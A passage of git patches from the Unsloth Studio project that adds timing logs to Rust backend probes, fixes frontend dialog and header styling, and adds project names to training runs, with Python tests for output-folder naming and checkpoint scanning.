+            "Managed desktop-capabilities probe failed to spawn in {}ms",
+            started.elapsed().as_millis()
+        );
         return None;
     };
     let Some(mut stdout) = child.stdout.take() else {
@@ -92,9 +343,19 @@ async fn probe_cli_capability(bin: &Path) -> Option<DesktopCapability> {
         Err(_) => {
             let _ = child.kill().await;
             let _ = child.wait().await;
+            info!(
+                "Managed desktop-capabilities probe timed out in {}ms",
+                started.elapsed().as_millis()
+            );
+            return None;
+        }
+        _ => {
+            info!(
+                "Managed desktop-capabilities probe exited unsuccessfully in {}ms",
+                started.elapsed().as_millis()
+            );
             return None;
         }
-        _ => return None,
     }
 
     let mut output = Vec::new();
@@ -102,7 +363,13 @@ async fn probe_cli_capability(bin: &Path) -> Option<DesktopCapability> {
         return None;
     }
 
-    serde_json::from_slice::<DesktopCapability>(&output).ok()
+    let capability = serde_json::from_slice::<DesktopCapability>(&output).ok();
+    info!(
+        "Managed desktop-capabilities probe finished ok={} in {}ms",
+        capability.is_some(),
+        started.elapsed().as_millis()
+    );
+    capability
 }
 
 fn desktop_capability_stale_reason(capability: &DesktopCapability) -> Option<String> {
@@ -132,18 +399,48 @@ fn desktop_capability_ready(capability: &DesktopCapability) -> bool {
 }
 
 pub(super) async fn probe_managed_bin(bin: PathBuf) -> ManagedProbe {
+    let started = Instant::now();
     if !run_cli_probe(&bin, &["-h"]).await {
+        info!(
+            "Managed preflight: cli unusable for {:?} in {}ms",
+            bin,
+            started.elapsed().as_millis()
+        );
         return ManagedProbe::Stale {
             bin,
             reason: "cli_unusable".to_string(),
         };
     }
 
-    let capability = probe_cli_capability(&bin).await;
-    if let Some(capability) = capability {
-        if desktop_capability_ready(&capability) {
+    if let Some(fingerprint) = managed_bin_fingerprint(&bin) {
+        if read_cached_capability(&fingerprint).is_some() {
+            info!(
+                "Managed preflight: using cached desktop capability for {:?} in {}ms",
+                bin,
+                started.elapsed().as_millis()
+            );
             return ManagedProbe::Ready { bin };
         }
+    }
+
+    let capability = probe_cli_capability(&bin).await;
+    if let Some(capability) = capability {
+        if let Some(fingerprint) = managed_bin_fingerprint(&bin) {
+            write_cached_capability(&fingerprint, &capability);
+        }
+        if desktop_capability_ready(&capability) {
+            info!(
+                "Managed preflight: cli ready for {:?} in {}ms",
+                bin,
+                started.elapsed().as_millis()
+            );
+            return ManagedProbe::Ready { bin };
+        }
+        info!(
+            "Managed preflight: cli stale for {:?} in {}ms",
+            bin,
+            started.elapsed().as_millis()
+        );
         return ManagedProbe::Stale {
             bin,
             reason: desktop_capability_stale_reason(&capability)
@@ -151,6 +448,11 @@ pub(super) async fn probe_managed_bin(bin: PathBuf) -> ManagedProbe {
         };
     }
 
+    info!(
+        "Managed preflight: desktop capability probe failed for {:?} in {}ms",
+        bin,
+        started.elapsed().as_millis()
+    );
     ManagedProbe::Stale {
         bin,
         reason: "desktop_capability_probe_failed".to_string(),
@@ -158,10 +460,17 @@ pub(super) async fn probe_managed_bin(bin: PathBuf) -> ManagedProbe {
 }
 
 pub(super) async fn probe_managed_install() -> ManagedProbe {
-    match crate::process::find_unsloth_binary() {
+    let started = Instant::now();
+    let result = match crate::process::find_unsloth_binary() {
         Some(bin) => probe_managed_bin(bin).await,
         None => ManagedProbe::Missing,
-    }
+    };
+    info!(
+        "Managed preflight: install probe result {:?} in {}ms",
+        result,
+        started.elapsed().as_millis()
+    );
+    result
 }
 
 pub async fn managed_install_ready() -> bool {
diff --git a/studio/src-tauri/src/process.rs b/studio/src-tauri/src/process.rs
index 01ef77f098..56d9dd2e21 100644
--- a/studio/src-tauri/src/process.rs
+++ b/studio/src-tauri/src/process.rs
@@ -735,6 +735,7 @@ pub fn start_backend(
 }
 
 async fn generic_backend_health_ok(port: u16) -> bool {
+    let started = std::time::Instant::now();
     let client = match reqwest::Client::builder()
         .timeout(Duration::from_secs(2))
         .build()
@@ -745,49 +746,75 @@ async fn generic_backend_health_ok(port: u16) -> bool {
             return false;
         }
     };
-    let response = match client
-        .get(format!("http://127.0.0.1:{port}/api/health"))
-        .send()
-        .await
-    {
-        Ok(response) => response,
-        Err(error) => {
+    let mut last_status = None;
+    let mut json = None;
+    for path in ["/api/liveness", "/api/health"] {
+        let response = match client
+            .get(format!("http://127.0.0.1:{port}{path}"))
+            .send()
+            .await
+        {
+            Ok(response) => response,
+            Err(error) => {
+                warn!(
+                    "Backend port candidate {} failed health request: {}",
+                    port, error
+                );
+                return false;
+            }
+        };
+        if response.status() == reqwest::StatusCode::NOT_FOUND && path == "/api/liveness" {
+            last_status = Some(response.status());
+            continue;
+        }
+        if !response.status().is_success() {
             warn!(
-                "Backend port candidate {} failed health request: {}",
-                port, error
+                "Backend port candidate {} returned HTTP {} from health",
+                port,
+                response.status()
             );
             return false;
         }
-    };
-    if !response.status().is_success() {
+        json = match response.json::<serde_json::Value>().await {
+            Ok(json) => Some(json),
+            Err(error) => {
+                warn!(
+                    "Backend port candidate {} returned invalid health JSON: {}",
+                    port, error
+                );
+                return false;
+            }
+        };
+        break;
+    }
+    let Some(json) = json else {
         warn!(
             "Backend port candidate {} returned HTTP {} from health",
             port,
-            response.status()
+            last_status
+                .map(|status| status.to_string())
+                .unwrap_or_else(|| "unknown".to_string())
         );
         return false;
-    }
-    let json = match response.json::<serde_json::Value>().await {
-        Ok(json) => json,
-        Err(error) => {
-            warn!(
-                "Backend port candidate {} returned invalid health JSON: {}",
-                port, error
-            );
-            return false;
-        }
     };
-    let healthy = json
+    let live = json
         .get("status")
         .and_then(|v| v.as_str())
-        .map(|s| s == "healthy")
+        .map(|s| s == "alive" || s == "healthy")
         .unwrap_or(false);
     let service = json
         .get("service")
         .and_then(|v| v.as_str())
         .map(|s| s == "Unsloth UI Backend")
         .unwrap_or(false);
-    healthy && service
+    info!(
+        "Backend port candidate {} liveness live={} service={} in {}ms",
+        port,
+        live,
+        service,
+        started.elapsed().as_millis()
+    );
+    live && service
 }
 
 async fn validate_candidate_port(
@@ -798,6 +825,7 @@ async fn validate_candidate_port(
     generation: u64,
     port: u16,
 ) {
+    let started = std::time::Instant::now();
     let owner = {
         let proc = match state.lock() {
             Ok(proc) => proc,
@@ -852,6 +880,14 @@ async fn validate_candidate_port(
         }
     };
 
+    info!(
+        "Validated backend port candidate {} valid={} emit={} in {}ms",
+        port,
+        valid,
+        should_emit,
+        started.elapsed().as_millis()
+    );
+
     if should_emit {
         diagnostics::record_backend_port(&diagnostics_state, &session_id, port);
         info!("Validated backend port: {}", port);

From 07578eab60f7f9e87ab1d1d6e30510017790cd6a Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Mon, 29 Jun 2026 14:50:55 +0100
Subject: [PATCH 143/306] Fix on-device locations dialog layout (#6743)

* Fix on-device location path overflow

* Remove redundant native path tooltip
---
 .../hub/catalog/on-device-folders-dialog.tsx  | 20 ++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx b/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
index 20a4eca4dd..caa89db196 100644
--- a/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
+++ b/studio/frontend/src/features/hub/catalog/on-device-folders-dialog.tsx
@@ -180,7 +180,7 @@ export function OnDeviceFoldersDialog({
     <>
       <Dialog open={open} onOpenChange={onOpenChange}>
         <DialogContent
-          className="max-w-[600px] gap-0 overflow-hidden p-0"
+          className="gap-0 overflow-hidden p-0 sm:max-w-[620px] lg:max-w-[660px] xl:max-w-[680px] [&_[data-slot=dialog-close]]:right-3 [&_[data-slot=dialog-close]]:top-3"
           overlayClassName="bg-black/20 backdrop-blur-none"
         >
           <DialogHeader className="border-b border-border/60 px-5 py-4">
@@ -319,7 +319,12 @@ export function OnDeviceFoldersDialog({
                     return (
                       <div
                         key={folder.id}
-                        className="flex min-h-12 items-center gap-3 border-b border-border/50 px-3 py-2 last:border-b-0"
+                        className={cn(
+                          "grid min-h-12 w-full items-center gap-3 border-b border-border/50 px-3 py-2 last:border-b-0",
+                          isTauri
+                            ? "grid-cols-[2rem_minmax(0,1fr)_2rem_2rem]"
+                            : "grid-cols-[2rem_minmax(0,1fr)_2rem]",
+                        )}
                       >
                         <div className="flex size-8 shrink-0 items-center justify-center rounded-[9px] bg-muted text-muted-foreground">
                           <HugeiconsIcon
@@ -328,13 +333,18 @@ export function OnDeviceFoldersDialog({
                             className="size-4"
                           />
                         </div>
-                        <div className="min-w-0 flex-1">
-                          <p className="truncate text-[12.5px] font-medium text-foreground">
+                        <div className="min-w-0 overflow-hidden">
+                          <p
+                            className="block w-full truncate text-[12.5px] font-medium text-foreground"
+                            title={pathTail(folder.path)}
+                          >
                             {pathTail(folder.path)}
                           </p>
                           <Tooltip>
                             <TooltipTrigger asChild={true}>
-                              <p className="truncate font-mono text-[10.5px] text-muted-foreground">
+                              <p
+                                className="block w-full truncate font-mono text-[10.5px] text-muted-foreground"
+                              >
                                 {folder.path}
                               </p>
                             </TooltipTrigger>

From f80e66ea34bee26776dfe398f577d2b2879a1bbf Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Mon, 29 Jun 2026 15:03:57 +0100
Subject: [PATCH 144/306] studio: keep chat header below dialogs (#6745)

---
 studio/frontend/src/features/chat/chat-page.tsx | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index dfd96a1e86..2511fc9eec 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -654,7 +654,7 @@ function GeneralCompareHeader({
   return (
     <div
       className={cn(
-        "pointer-events-none relative z-[65] flex h-[48px] shrink-0 items-start gap-2 bg-background pt-[var(--studio-chat-header-padding-top,11px)]",
+        "pointer-events-none relative z-40 flex h-[48px] shrink-0 items-start gap-2 bg-background pt-[var(--studio-chat-header-padding-top,11px)]",
         side === "left"
           ? pinned
             ? "pl-12 pr-3 md:pl-2"
@@ -2388,7 +2388,7 @@ export function ChatPage({
         )}
         <div
           className={cn(
-            "pointer-events-none absolute top-[var(--studio-content-top-inset,0px)] left-0 right-[10px] z-[66] flex h-[var(--studio-chat-header-height,48px)] shrink-0 items-start bg-background pt-[var(--studio-chat-header-padding-top,11px)] pr-[calc(0.5rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]",
+            "pointer-events-none absolute top-[var(--studio-content-top-inset,0px)] left-0 right-[10px] z-40 flex h-[var(--studio-chat-header-height,48px)] shrink-0 items-start bg-background pt-[var(--studio-chat-header-padding-top,11px)] pr-[calc(0.5rem+var(--studio-chat-header-right-inset,var(--studio-window-control-inset,0px)))]",
             isMobile
               ? "pl-12"
               : pinned

From 11469a60fe7a93ebdb394f8bbe4f7583611a821c Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 29 Jun 2026 07:06:36 -0700
Subject: [PATCH 145/306] (feat) Add project names to studio training runs
 (#6512)

* (feat) Add project names to studio training runs to avoid models being overwritten when doing similar training runs

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Update studio/frontend/src/features/export/export-page.tsx

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Update studio/frontend/src/features/export/export-page.tsx

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Update studio/frontend/src/features/export/export-page.tsx

Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>

* better project name sanitization, removed duplicated project name normalization

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* implement checkpoint scanning utilities and tests for base model inference

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Guard project_name against null and use leading important modifiers

* Fix/adjust training project names for PR #6512

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix/adjust training project names for PR #6512

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address project-name review feedback

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Show project names in training recents

* Keep GGUF export directories source-specific

---------

Co-authored-by: NZ-Linix <nz-linix@outlook.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: NZ-Linix <linus.ordowski@outlook.com>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
---
 studio/backend/core/training/training.py      |   1 +
 studio/backend/core/training/worker.py        |  18 +-
 studio/backend/models/training.py             |  13 +
 studio/backend/routes/training.py             |   1 +
 studio/backend/storage/studio_db.py           |  12 +
 studio/backend/tests/test_checkpoints_scan.py | 256 ++++++++++++++++++
 studio/backend/tests/test_training_runs.py    | 103 +++++++
 .../backend/tests/test_training_streaming.py  |  10 +
 studio/backend/utils/models/checkpoints.py    | 101 ++++++-
 studio/backend/utils/training_runs.py         | 104 +++++++
 .../frontend/src/components/app-sidebar.tsx   |   8 +-
 .../src/features/export/export-page.tsx       |  28 +-
 .../components/steps/hyperparameters-step.tsx |  25 ++
 .../components/steps/summary-step.tsx         |   4 +
 .../studio/historical-training-view.tsx       |   1 +
 .../src/features/studio/history-card-grid.tsx |  26 +-
 .../features/studio/live-training-view.tsx    |  11 +-
 .../studio/sections/params-section.tsx        |  18 ++
 .../studio/sections/progress-section.tsx      |  19 +-
 .../src/features/training/api/mappers.ts      |   1 +
 .../training/hooks/use-training-actions.ts    |  17 +-
 .../frontend/src/features/training/index.ts   |   5 +
 .../src/features/training/lib/run-display.ts  |  24 ++
 .../training/stores/training-config-store.ts  |   2 +
 .../training/stores/training-runtime-store.ts |   9 +-
 .../src/features/training/types/api.ts        |   1 +
 .../src/features/training/types/config.ts     |   2 +
 .../src/features/training/types/history.ts    |   1 +
 .../src/features/training/types/runtime.ts    |   3 +
 studio/frontend/src/i18n/locales/en.ts        |   5 +
 studio/frontend/src/i18n/locales/zh-CN.ts     |   4 +
 31 files changed, 804 insertions(+), 29 deletions(-)
 create mode 100644 studio/backend/tests/test_checkpoints_scan.py
 create mode 100644 studio/backend/tests/test_training_runs.py
 create mode 100644 studio/backend/utils/training_runs.py
 create mode 100644 studio/frontend/src/features/training/lib/run-display.ts

diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index 9d991c6512..f4233fcf04 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -299,6 +299,7 @@ class TrainingBackend:
         # Build config dict for the subprocess
         config = {
             "model_name": kwargs["model_name"],
+            "project_name": kwargs.get("project_name"),
             "training_type": kwargs.get("training_type", "LoRA/QLoRA"),
             "hf_token": kwargs.get("hf_token", ""),
             "load_in_4bit": kwargs.get("load_in_4bit", True),
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 3f020c8abc..610af2472e 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -44,6 +44,7 @@ if sys.platform.startswith("linux") and "HSA_ENABLE_DXG_DETECTION" not in os.env
 
 logger = get_logger(__name__)
 from utils.hardware import apply_gpu_ids
+from utils.training_runs import build_default_output_dir_name
 from utils.wheel_utils import (
     direct_wheel_url,
     flash_attn_wheel_url,
@@ -1787,11 +1788,14 @@ def _run_mlx_training(event_queue, stop_queue, config):
 
     # ── 5. Build output dir ──
     # Resolve to ~/.unsloth/studio/outputs/ so the export page finds it
-    from utils.paths import resolve_output_dir, ensure_dir, default_run_dir_name
+    from utils.paths import resolve_output_dir, ensure_dir
 
     output_dir = config.get("output_dir", "")
     if not output_dir:
-        output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
+        output_dir = build_default_output_dir_name(
+            model_name,
+            config.get("project_name"),
+        )
     output_dir = str(resolve_output_dir(output_dir))
     ensure_dir(Path(output_dir))
 
@@ -3019,7 +3023,10 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
             resume_from_checkpoint
         )
         if not output_dir:
-            output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
+            output_dir = build_default_output_dir_name(
+                model_name,
+                config.get("project_name"),
+            )
         output_dir = str(resolve_output_dir(output_dir))
         ensure_dir(Path(output_dir))
 
@@ -3500,7 +3507,10 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) ->
         resume_from_checkpoint
     )
     if not output_dir:
-        output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
+        output_dir = build_default_output_dir_name(
+            model_name,
+            config.get("project_name"),
+        )
     output_dir = str(resolve_output_dir(output_dir))
 
     num_epochs = config.get("num_epochs", 2)
diff --git a/studio/backend/models/training.py b/studio/backend/models/training.py
index e64b6f731a..ff815a2fa9 100644
--- a/studio/backend/models/training.py
+++ b/studio/backend/models/training.py
@@ -9,6 +9,8 @@ import re
 from pydantic import BaseModel, ConfigDict, Field, field_validator, model_validator
 from typing import Any, Optional, List, Dict, Literal
 
+from utils.training_runs import normalize_project_name
+
 
 # ASCII integer, optional single sign. Rejects "++512" and Unicode digits
 # ("５１２") that slip through str.isdigit() + int().
@@ -97,6 +99,11 @@ class TrainingStartRequest(BaseModel):
     model_name: str = Field(
         ..., description = "Model identifier (e.g., 'unsloth/llama-3-8b-bnb-4bit')"
     )
+    project_name: Optional[str] = Field(
+        None,
+        max_length = 80,
+        description = "Optional user-defined project name appended to run folders and shown in history",
+    )
     training_type: Literal["LoRA/QLoRA", "Full Finetuning", "Continued Pretraining"] = Field(
         ...,
         description = "Training type: 'LoRA/QLoRA', 'Full Finetuning', or 'Continued Pretraining'",
@@ -155,6 +162,11 @@ class TrainingStartRequest(BaseModel):
             values.setdefault("train_split", values.pop("split"))
         return values
 
+    @field_validator("project_name")
+    @classmethod
+    def _normalize_project_name(cls, value: Optional[str]) -> Optional[str]:
+        return normalize_project_name(value)
+
     # NOTE: pydantic runs all `mode="after"` validators in definition order. A
     # second one, `_check_steps_or_epochs`, is defined lower in this class; keep
     # these cross-field checks order-independent so the two stay decoupled.
@@ -588,6 +600,7 @@ class TrainingRunSummary(BaseModel):
     id: str
     status: Literal["running", "completed", "stopped", "error"]
     model_name: str
+    project_name: Optional[str] = None
     dataset_name: str
     display_name: Optional[str] = None
     started_at: str
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 3818fe9f73..4f131ad2f2 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -255,6 +255,7 @@ async def start_training(
         # Convert request to backend kwargs.
         training_kwargs = {
             "model_name": request.model_name,
+            "project_name": request.project_name,
             "training_type": request.training_type,
             "hf_token": request.hf_token or "",
             "load_in_4bit": request.load_in_4bit,
diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py
index 7421b42b2f..23b90d7002 100644
--- a/studio/backend/storage/studio_db.py
+++ b/studio/backend/storage/studio_db.py
@@ -23,6 +23,16 @@ from typing import Any, Iterable, Optional
 
 
 from utils.paths import project_workspaces_root, studio_db_path, ensure_dir
+from utils.training_runs import extract_project_name
+
+
+def _extract_project_name_from_config_json(config_json: Optional[str]) -> Optional[str]:
+    if not config_json:
+        return None
+    try:
+        return extract_project_name(json.loads(config_json))
+    except (json.JSONDecodeError, TypeError):
+        return None
 
 
 def _denied_path_prefixes() -> list[str]:
@@ -680,6 +690,7 @@ def list_runs(limit: int = 50, offset: int = 0) -> dict:
         runs = []
         for row in rows:
             run = dict(row)
+            run["project_name"] = _extract_project_name_from_config_json(run.get("config_json"))
             sparkline = run.get("loss_sparkline")
             if sparkline:
                 try:
@@ -719,6 +730,7 @@ def get_run(id: str) -> Optional[dict]:
         if row is None:
             return None
         run = dict(row)
+        run["project_name"] = _extract_project_name_from_config_json(run.get("config_json"))
         sparkline = run.get("loss_sparkline")
         if sparkline:
             try:
diff --git a/studio/backend/tests/test_checkpoints_scan.py b/studio/backend/tests/test_checkpoints_scan.py
new file mode 100644
index 0000000000..6d473146f5
--- /dev/null
+++ b/studio/backend/tests/test_checkpoints_scan.py
@@ -0,0 +1,256 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import json
+import sqlite3
+import sys
+import types as _types
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+sys.modules.setdefault("structlog", _types.ModuleType("structlog"))
+
+from utils.models import checkpoints as checkpoints_module
+from utils.training_runs import build_default_output_dir_name
+
+
+def _make_history_connection(db_path: Path) -> sqlite3.Connection:
+    conn = sqlite3.connect(str(db_path))
+    conn.row_factory = sqlite3.Row
+    return conn
+
+
+def _setup_training_runs_table(db_path: Path) -> None:
+    conn = _make_history_connection(db_path)
+    try:
+        conn.execute(
+            """
+            CREATE TABLE training_runs (
+                id TEXT PRIMARY KEY,
+                model_name TEXT NOT NULL,
+                config_json TEXT NOT NULL,
+                output_dir TEXT,
+                started_at TEXT NOT NULL
+            )
+            """
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+
+def _make_outputs_dir(tmp_path, monkeypatch) -> Path:
+    studio_home = tmp_path / "studio-home"
+    outputs_dir = studio_home / "outputs"
+    outputs_dir.mkdir(parents = True)
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(studio_home))
+    return outputs_dir
+
+
+def test_scan_checkpoints_uses_output_dir_history_for_base_model(tmp_path, monkeypatch):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_dir = outputs_dir / "custom-run"
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    conn = _make_history_connection(db_path)
+    try:
+        conn.execute(
+            """
+            INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
+            VALUES (?, ?, ?, ?, ?)
+            """,
+            (
+                "run-1",
+                "unsloth/Llama-3.2-3B-Instruct",
+                "{}",
+                str(run_dir.resolve()),
+                "2026-04-09T00:00:00Z",
+            ),
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
+
+
+def test_scan_checkpoints_matches_project_suffixed_default_dir_against_history(
+    tmp_path, monkeypatch
+):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_name = build_default_output_dir_name(
+        "unsloth/Llama-3.2-3B-Instruct",
+        "Customer Support",
+        timestamp = 1771227800,
+    )
+    run_dir = outputs_dir / run_name
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    conn = _make_history_connection(db_path)
+    try:
+        conn.execute(
+            """
+            INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
+            VALUES (?, ?, ?, ?, ?)
+            """,
+            (
+                "run-2",
+                "unsloth/Llama-3.2-3B-Instruct",
+                json.dumps({"project_name": "Customer Support"}),
+                None,
+                "2026-04-09T00:00:00Z",
+            ),
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
+
+
+def test_scan_checkpoints_strips_project_suffix_without_history(tmp_path, monkeypatch):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_name = build_default_output_dir_name(
+        "unsloth/Llama-3.2-3B-Instruct",
+        "Customer Support",
+        timestamp = 1771227800,
+    )
+    run_dir = outputs_dir / run_name
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
+
+
+def test_scan_checkpoints_preserves_project_marker_in_model_without_history(tmp_path, monkeypatch):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_name = build_default_output_dir_name(
+        "org/foo__project-bar",
+        timestamp = 1771227800,
+    )
+    run_dir = outputs_dir / run_name
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "org/foo__project-bar"
+
+
+def test_scan_checkpoints_preserves_legacy_folder_name_fallback(tmp_path, monkeypatch):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_dir = outputs_dir / "unsloth_Llama-3.2-3B-Instruct_1771227800"
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
+
+
+def test_scan_checkpoints_prefers_exact_history_match_over_newer_suffix(tmp_path, monkeypatch):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_dir = outputs_dir / "unsloth_Test_1771227800"
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    copied_dir = tmp_path / "copied" / run_dir.name
+    copied_dir.mkdir(parents = True)
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    conn = _make_history_connection(db_path)
+    try:
+        conn.execute(
+            """
+            INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
+            VALUES (?, ?, ?, ?, ?)
+            """,
+            (
+                "run-exact",
+                "correct/base",
+                "{}",
+                str(run_dir.resolve()),
+                "2026-04-09T00:00:00Z",
+            ),
+        )
+        conn.execute(
+            """
+            INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
+            VALUES (?, ?, ?, ?, ?)
+            """,
+            (
+                "run-suffix",
+                "wrong/base",
+                "{}",
+                str(copied_dir.resolve()),
+                "2026-04-10T00:00:00Z",
+            ),
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "correct/base"
diff --git a/studio/backend/tests/test_training_runs.py b/studio/backend/tests/test_training_runs.py
new file mode 100644
index 0000000000..fd0d6d380f
--- /dev/null
+++ b/studio/backend/tests/test_training_runs.py
@@ -0,0 +1,103 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import json
+
+from storage.studio_db import _extract_project_name_from_config_json
+from utils.training_runs import (
+    build_default_output_dir_name,
+    model_segment_from_default_output_dir_name,
+    normalize_project_name,
+    slugify_project_name,
+)
+
+
+def test_normalize_project_name_trims_and_collapses_whitespace():
+    assert normalize_project_name("  Customer   Support   LoRA  ") == "Customer Support LoRA"
+
+
+def test_normalize_project_name_returns_none_for_empty_or_invalid_values():
+    assert normalize_project_name("   ") is None
+    assert normalize_project_name(None) is None
+
+
+def test_slugify_project_name_makes_safe_suffix():
+    assert slugify_project_name("Customer Support / LoRA v2") == "customer-support-lora-v2"
+
+
+def test_slugify_project_name_rejects_path_only_or_separator_only_values():
+    assert slugify_project_name("..") is None
+    assert slugify_project_name("///") is None
+
+
+def test_build_default_output_dir_name_appends_project_slug():
+    output_dir = build_default_output_dir_name(
+        "unsloth/Llama-3.2-3B-Instruct",
+        "Customer Support",
+        timestamp = 1771227800,
+    )
+
+    assert output_dir == "unsloth_Llama-3.2-3B-Instruct__project-customer-support_1771227800"
+
+
+def test_build_default_output_dir_name_caps_final_component(tmp_path):
+    output_dir = build_default_output_dir_name(
+        "a" * 240,
+        "b" * 80,
+        timestamp = 1771227800,
+    )
+
+    assert len(output_dir.encode()) <= 255
+    (tmp_path / output_dir).mkdir()
+
+
+def test_build_default_output_dir_name_skips_invalid_project_slug():
+    output_dir = build_default_output_dir_name(
+        "unsloth/Llama-3.2-3B-Instruct",
+        "..",
+        timestamp = 1771227800,
+    )
+
+    assert output_dir == "unsloth_Llama-3.2-3B-Instruct_1771227800"
+
+
